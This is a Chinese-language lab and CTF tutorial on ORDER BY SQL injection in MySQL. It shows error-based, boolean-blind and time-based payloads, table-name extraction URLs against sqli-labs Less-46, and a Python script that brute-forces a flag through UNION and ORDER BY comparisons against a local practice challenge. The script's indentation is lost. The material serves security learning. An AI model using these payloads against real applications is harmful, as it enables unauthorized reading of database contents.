# 有趣的 Order by 注入

下面介绍几个从 ThreeZh1 师傅那里学到的几个有趣的 SQL 注入

# 常规 Order by 注入

先来看一下 Order by 注入的原理

SELECT username, password FROM users order by 1 asc;

这是一个常见的 order by 使用语句,order by 后面的数字 1 是第 1 个列的意思 (也可以指定列名), asc / desc 指定是升序还是降序。

注意 :在 order by 后面的不会根据计算的结果来排序。

这里有以下几种方式来进行测试:

# order by + 报错注入

order by extractvalue(1,concat(0x7e, @@version,0x7e)) 进行报错注入

# order by + 布尔盲注

rand () 会返回一个 0 和 1 之间的随机数,如果括号内参数被赋值,同一个参数会返回同一个数。

这里就可以用 mid(也就是 substr 函数)来构造布尔盲注的方式来进行注入

order by rand(mid(version(),1,1)=5)

# order by + (>0 的数) +and + 时间盲注方式

在 order by 后面的不会根据计算的结果来排序,但是计算还是会运行。

也就是,当我们的 payload 有延迟命令的时候,页面还是会延迟的。

使用 and 连接时间盲注 payload:

order by 1 and (if(substr(version(),1,1)=5,0,sleep(5)))

这里用 sqllib-Less46 作为一个学习的例子:

它的源代码为:

$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";

image-20221002115154304

那么可以 将这个1替换成查询语句 ,因为 查询成功 的结果就是 返回1

注意 :如果对上述这一句有疑问,请看下图

sort = (select 2)

image-20221002120406540

sort = 1

image-20221002120420706

sort = 2

image-20221002120434503

OK,那就可以有

http://127.0.0.1/sqli/Less-46/?sort=(select extractvalue(1,concat(0x7e,version(),0x7e)))

#与下面一句等效
http://127.0.0.1/sqli/Less-46/?sort=(select 1 order by extractvalue(1,concat(0x7e,version(),0x7e)))

image-20221002115341706

读表:

http://127.0.0.1/sqli/Less-46/?sort=(select extractvalue(1,concat(0x7e,(select group_concat(table_name)) from information_schema.tables where table_schema=database(),0x7e)))

#与下面一句等效
http://127.0.0.1/sqli/Less-46/?sort=(select 1 order by extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))

image-20221002115558719

# 另外一种 Order by 注入

ThreeZh1 自己写了一个题来学习这一种 order by 注入。

题目过滤了 F1g3 这个字段名。 在id=3时 ,F1g3 字段存在 flag 的 base16 编码。(直接过滤 Flag 会更好)

查询语句:

$sql = "SELECT id, F1ag, username FROM this_1s_th3_fiag_tab13 WHERE id = ".$id.";";

已知:数据库名:user,表名:this_1s_th3_fiag_tab13,字段名:F1ag,列号为 2

因为过滤了 F1ag 这个字段名,我们不能直接用普通盲注的方式得到 F1ag,所以就得使用一种特别的 order by 盲注。

image-20221002120830210

# 尝试报错

http://127.0.0.1/threezh1/index.php?id=1'

这个就是错误页面,意味着报错,那么大概率就是不带单引号的整型注入

image-20221002120931642

# 尝试不报错

http://127.0.0.1/threezh1/index.php?id=1 #
不报错

# 尝试获取列数

http://127.0.0.1/threezh1/index.php?id=1 order by 3 #
不报错

http://127.0.0.1/threezh1/index.php?id=1 order by 4 #
???报错

获取列数为 3

# 尝试获取数据库版本

http://127.0.0.1/threezh1/index.php?id=1 union select 1,2,3 #
id: 1 name: oops,This is not the flag id
id: 1 name: 3

http://127.0.0.1/threezh1/index.php?id=1 union select 1,2,version() #
???报错

http://127.0.0.1/threezh1/index.php?id=1 union select 1,2,extractvalue(1, concat(0x7e,version(),0x7e)) #
???报错

既然,直接报错注入的方式不可行,那么我们换一种思路,用 order by

可以直接用 order by 么?

http://127.0.0.1/threezh1/index.php?id=1 order by extractvalue(1, concat(0x7e,version(),0x7e)) #
???报错

http://127.0.0.1/threezh1/index.php?id=1 union select 1,2,3 order by extractvalue(1, concat(0x7e,version(),0x7e)) #
???报错

服,那就尝试先来排序。由于 id=1、id=2 时,都不是 flag 所对应的 id,根据题目,我们知道 flag 在 id=3 所在行。

id=3 union select 1,2,3 order by 1
id: 1 name: 3
id: 3 name: threezh1

id=3 union select 4,2,3 order by 1
id: 3 name: threezh1
id: 4 name: 3

根据这个差异,我们可以指定 按第二列 来排序,并在 select 里猜测 flag 的首字符值。这样就可以不使用 F1ag 这个字段名就把值读出来。

http://127.0.0.1/threezh1/index.php?id=3 union select 1,'6',3 order by 2
id: 1 name: 3
id: 3 name: threezh1

http://127.0.0.1/threezh1/index.php?id=3 union select 1,'7',3 order by 2
id: 3 name: threezh1
id: 1 name: 3

出现差别了,因为这里是首字符不等于’7’才会出现排序不一样,所以 flag 的第一个字符为’6’。

按照这个思路,写出脚本:

import requests
key = "<tr><td> id: 3 </td> <td> name: threezh1 </td> <br/></tr><tr><td> id: 1 </td> <td> name: 3 </td> <br/></tr>"
url = "http://127.0.0.1/threezh1/index.php?"
words = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

def target_flag():
length = 0
flag = ""
for i in range(100):
for j in words:
payload = "id=3 union select 1,'{0}',3 order by 2".format(flag + j)
print(payload)
content = requests.get(url + payload)
if key in content.text:
flag = flag + temp #使用上一次保存的字符添加到flag的尾部
#print(flag)
break
temp = j #保存这一次的"没有令回包出现变化"的字符(temp保证是最新的字符)
if j == 'Z':
length = i-1
break
print("flag is:",flag,"length is:",str(length))

target_flag()

image-20221002124705182

附上源码查询

select id,F1ag,username from this_1s_th3_fiag_tab13 where id = 3 union select 1,'6',3 order by 2

1-6 都是这个样子

image-20221002125810127

select id,F1ag,username from this_1s_th3_fiag_tab13 where id = 3 union select 1,'7',3 order by 2

到 7 的时候第一次变化

image-20221002125748813

所以就是要记录何时第一次变化,然后把 上一次没有引起回包变化的字符 添加到 flag 的尾部